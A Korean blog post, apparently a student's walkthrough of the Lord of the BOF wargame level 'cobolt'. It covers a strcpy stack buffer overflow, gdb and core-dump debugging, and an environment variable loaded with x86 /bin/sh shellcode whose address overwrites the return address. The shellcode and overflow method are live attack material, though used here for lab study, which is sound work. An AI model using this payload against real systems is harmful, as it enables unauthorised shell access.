코볼트를 사냥해봅시다.
이전 글에서 bof와 스택 프레임까지 어느정도 설명했으니 여기선 생략하겠습니다...
(https://thfist-1071.tistory.com/entry/LOB-1-gate-gremlin-%ED%92%80%EC%9D%B4)
그리고 참고할 것
https://yehey-study.tistory.com/entry/gdb-%EB%AA%85%EB%A0%B9%EC%96%B4-%EB%AA%A8%EC%9D%8C
ps. 어떻게 이렇게나 다양한 풀이가 있는거지.. 어떻게 아는거지..
(https://blog.int80.kr/56) RTL 풀이
login : gremlin
password : hello bof world
탐색
cp cobolt my_cobolt
cat cobolt.c
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
strcpy 함수는 bof에 대한 취약점을 가집니다. strcpy는 null까지 문자열을 읽어들이는데 문자열의 길이를 체크하지 않아 bof 취약점이 존재합니다.
gdb로 실행하면,
b *main
r (인자) // 계속 에러나길래 검색했더니 r에서 인자 전달해야한다 함
근데 인자 전달해도 계속 그냥 종료되어서... (역시 peda나 pwndbg를..)
그냥 어셈블리 보고 분석해야겠네요.
어셈블리 문법을 보니까 AT&T 문법인데 익숙치 않지만 그냥 보고 하겠습니다.
esp에서 0x10을 빼는 부분을 보니까 buf의 크기인 16이 되는 거 같고 메모리 구조를 생각해서 core file을 생성하도록
SSSS는 SFP
RRRR은 RET
gdb -c core
보면서 신기한건 enter을 계속 누르니까
4141... 이런 부분이 또 있네요 왜지(입력된 인자 부분인가..?)
환경변수의 주소를 이용해서 풀이하도록 하겠습니다.
풀이
환경변수는 export라는 명령어를 이용합니다.
export만 입력하면 등록된 환경변수를 볼 수 있습니다.
export shellcode=$(python -c "print('\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80')")
해제 시에는 unset [환경변수 이름] 을 입력합니다.
C에서 getenv함수를 이용하면 환경변수의 주소를 구할 수 있다고 합니다.
vi getenv.c
#include<stdio.h>
int main(void)
{
printf("%x\n",getenv("shellcode"));
return 0;
}
gcc -o getenv getenv.c
./getenv
0xbfffff6d네요
이제 ret를 해당 주소로 덮어봅니다.
근데 안되네요. core를 확인했습니다
0xbfffffd9로 덮여있는거 같은데.. 확인해보면 잘 되어있습니다.
https://duwjdtn11.tistory.com/124?category=991080
환경변수 기법은 처음이라.. 다시 참고해보고. 이곳저곳 찾아봐도 nop를 앞에 넣는데 왜 넣는지 몰라서 계속 찾았습니다.
계속 찾다가 문제 다 못 풀거 같아서 질문하겠습니다.
다시 환경변수를 앞에 NOP를 넣어둔 채로 바꾸겠습니다.
아니 나는 똑같이 했는데 왜 안됨?
왜 0xbfffff09를 넣었는데 0x40030900이 들어가 있을까요.
하다못해 ret 부분과 환경변수 주소를 계산했는데 뭔가 쎄했습니다.
아니 이것도 그렇고
환경변수를 그냥 쎄해서 들여다봤는데,
뭔가 뒤에 0x90이 더 있을거 같은 느낌?
근데 더 있더군요
실질적인 환경변수는 0xbfffff03 이었습니다.
그래서 코드를 고쳐서 my_cobolt에 넣었는데, shell을 딴 것을 보고
오 cobolt에도 넣어볼까 해서 넣었는데 또 seg fault 나왔습니다.
선배와의 질의 끝에 이름 사이즈가 달라서 그런 것이 아니냐 싶어서 +- 3씩 조정하여 넣어봤습니다.
오. 0xbfffff06에서 되더군요. 왜 그럴까요? 왜 getenv랑 실제가 다를까요?
이번에서 교훈을 얻었습니다. cp 할 때 이름 사이즈는 같게 할 것.
너무너무 힘드네요